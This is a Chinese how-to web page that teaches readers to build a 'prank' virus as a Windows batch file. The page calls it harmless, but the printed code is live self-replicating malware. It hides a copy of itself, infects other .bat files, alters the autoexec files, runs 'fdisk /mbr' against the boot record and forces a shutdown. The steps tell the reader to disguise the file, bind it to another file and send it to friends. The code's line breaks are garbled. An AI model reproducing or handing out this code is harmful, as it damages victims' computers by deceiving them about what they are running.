如何创建一个病毒文件

下载PDF文件下载PDF文件

想不想创建一个电脑病毒玩玩(不过只会弹出可怕的信息,突然关闭电脑,重启以后电脑又恢复原样)?你可以试试下面的一段代码,它是病毒运行时执行的代码。其中REM开头的代码电脑会忽略掉。

  1. 可以点击开始菜单-程序-附件-记事本。或者直接在开始菜单-运行中输入notepad打开。
    How.com.vn 中文: Step 1 打开Windows记事本。
  2. How.com.vn 中文: Step 2 复制粘贴下面“代码”部分给出的代码。
    点击“另存为”。
  3. 找一个用户发现不了的地方来储存,不要存在桌面上。
    How.com.vn 中文: Step 3 选个地方存这个假的病毒文件。
  4. How.com.vn 中文: Step 4 不要选.txt格式,在下拉菜单中选择“所有文件”。
  5. How.com.vn 中文: Step 5 给文件取个不吓人的名字。
    把后面的.txt改成.bat,点击保存,关闭记事本。
  6. 绑定好以后,发送给朋友。坐等他的电脑中毒吧!:)
    How.com.vn 中文: Step 6 完成了创建工作,要把病毒文件绑定在别的文件上。
    广告


代码


@echo offtitle %0rem conditional check.echo welcome to this wonderful program! please wait while I delete all your files!rem infection of the usercopy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NTecho echo virus detected! >>c:\windows\system32\autoexec.NTecho pause >>c:\windows\system32\autoexec.NTecho NT core:infected!echo echo shame on you! >>c:\autoexec.batecho echo system hault-virus identified! >>c:\autoexec.batecho chkdsk >>c:\autoexec.batecho i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u lfdisk /mbrshutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″


关于本How.com.vn

How.com.vn是一个“多人协作写作系统”,因此我们的很多文章都是由多位作者共同创作的。 为了创作这篇文章,12位用户(部分匿名)多次对文章进行了编辑和改进。 这篇文章已经被读过15,137次。
本页面已经被访问过15,137次。

这篇文章对你有帮助吗?

⚠️ Disclaimer:

Content from Wiki How 中文 language website. Text is available under the Creative Commons Attribution-Share Alike License; additional terms may apply.
Wiki How does not encourage the violation of any laws, and cannot be responsible for any violations of such laws, should you link to this domain, or use, reproduce, or republish the information contained herein.

Notices:
  • - A few of these subjects are frequently censored by educational, governmental, corporate, parental and other filtering schemes.
  • - Some articles may contain names, images, artworks or descriptions of events that some cultures restrict access to
  • - Please note: Wiki How does not give you opinion about the law, or advice about medical. If you need specific advice (for example, medical, legal, financial or risk management), please seek a professional who is licensed or knowledgeable in that area.
  • - Readers should not judge the importance of topics based on their coverage on Wiki How, nor think a topic is important just because it is the subject of a Wiki article.

广告